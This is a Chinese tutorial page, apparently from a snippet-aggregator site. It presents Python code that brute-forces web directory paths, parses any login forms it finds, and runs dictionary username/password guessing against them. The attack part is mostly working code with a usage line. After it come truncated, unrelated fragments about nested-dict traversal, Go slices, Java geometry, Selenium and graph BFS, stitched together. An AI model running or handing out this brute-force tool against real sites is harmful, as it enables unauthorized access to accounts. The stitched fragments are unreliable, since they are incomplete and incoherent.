首先是利用python遍历路径,采用字典爆破的形式,当然如果只是单纯的爆破路径,简单写一个多线程脚本就行了。这里考虑如何对爆破到的路径进行第二步利用,此处尝试对猜解到的路径进行表单发现及登陆爆破处理。
首先就是路径爆破,采用多线程队列,爆破路径,判断形式为200响应码。
while not self._queue.empty(): queue = self._queue.get(timeout=0.5) try: r = requests.get(self.url+queue,timeout=5, headers=self.headers) if r.status_code == 200: print "[200] %s" %(queue) soup = BeautifulSoup(r.content,'html.parser') if soup.find('form'): self.brute(soup, queue)
猜解到路径后交给brute方法处理,方法实现了一个css选择器,获取form表单中的input字段标签,提取标签参数组合成post参数值,然后提取表单中的action跳转页面,如没有页面默认在当前表单页提交。
input = soup.select("form input") for i in input: try: if i.attrs['type'] == "hidden": name, value = i.attrs['name'], i.attrs['value'] list_post.append(name+'='+value) elif i.attrs['type'] == 'password': name = i.attrs['name'] list_post.append(name+'=$$$') else: name = i.attrs['name'] list_post.append(name+'=%%%') except: continue for i in list_post: post = post + i + '&' action = soup.find_all('form') for i in action: if i['action']: actiontag = i['action'] else: actiontag = queue self.payload(post, actiontag)
获取参数值后,交给payload方法处理登陆,采用requests库的session登陆。获取cookie,先采用session请求获取cookie后,再采用session携带cookie进行请求提交。然后对输入的验证值进行判断是否为登陆成功。
for name in self.username(): post_user = post.replace('%%%',name.strip()) for pwd in self.password(): post_pwd = post_user.replace('$$$',pwd.strip()) session = requests.Session() session.get(self.url+'/'+action, headers=self.headers, verify=False) r = session.post(self.url+'/'+action, data=post_pwd, headers=self.headers, verify=False) if self.word in r.content: print '[username] %s' %name +'\r' + '[password] %s' %pwd return
为了判断是否登陆成功,采用的人为输入判断字符串的形式。也就是脚本执行形式为
python xxx.py http://xxxx.com xxxxx
以上就是python遍历路径破解表单的示例的详细内容,更多关于python 破解表单的资料请关注小牛知识库其它相关文章!
问题内容: 我有一本字典,例如: 一切都始于“根”,它们有两种类型的数据:URL和文件夹,它们是字典。如果是文件夹,则必须具有键“ children”,该键的值是一个列表,我们可以在其中放置更多URL和文件夹。 现在,我想遍历此嵌套字典,以获取所有子文件夹中的URL,因此我编写了一个函数: 我可以这样使用它: 完美运作。但是它只是生成URL的字典,我不知道它在哪里。我也想走这条路。我该怎么做? 问
本文向大家介绍golang遍历时修改被遍历对象的示例详解,包括了golang遍历时修改被遍历对象的示例详解的使用技巧和注意事项,需要的朋友参考一下 前言 很多时候需要将遍历对象中去掉某些元素,或者往遍历对象中添加元素,这时候就需要小心操作了。 对于go语言中的一些注意事项我做了总结和示例,留下点笔记。 遍历切片 1.遍历切片时去掉元素,错误示例: 最终报错panic: runtime error:
问题内容: 我是使用迭代器的新手,并且想知道如何迭代线段上的每个点(准确地说,是Line2D.Double)-我需要检查该线上的每个点是否满足某些要求。 另外,给定路径对象(如GeneralPath),您将如何做同样的事情(遍历形状轮廓上的每个点)? 理想情况下,我想要这样的东西(用直线或路径): 问题答案: Java API中似乎没有任何东西可以使布雷森汉姆的算法对用户可见。所以我写了一个遍历一
问题内容: 我创建了一个二维数组,如: 打印此列表将给出输出: 其中每个列表项都是“行,列”格式的字符串 现在给出此列表,我想按顺序迭代它: 依次遍历第一列和第二列,依此类推。我该如何循环? 此问题与纯python列表有关,而标记为相同的问题与numpy数组有关。他们明显不同 问题答案: 使用和。就像是:
我试图在Java中使用Selenium遍历一个表(目前使用的是chromedriver)。该表的内容由不同的人组成,他们的个人资料有链接,对于该表中的每个人,我将进入他们的个人资料并提取一些信息。我将为X数量的人做这件事。该表每页包含5人,我通过单击分页按钮浏览页面” 现在来看这个问题:举个例子,我现在在exampleUrl。com/page\u包含表I,然后输入用户的配置文件并提取他们的信息,他
主要内容:src/runoob/graph/ShortestPath.java 文件代码:广度优先遍历从某个顶点 v 出发,首先访问这个结点,并将其标记为已访问过,然后顺序访问结点v的所有未被访问的邻接点 {vi,..,vj} ,并将其标记为已访问过,然后将 {vi,...,vj} 中的每一个节点重复节点v的访问方法,直到所有结点都被访问完为止。 我们可以分为三个步骤: (1)使用一个辅助队列 q,首先将顶点 v 入队,将其标记为已访问,然后循环检测队列是否为空。 (2)如果队列不为空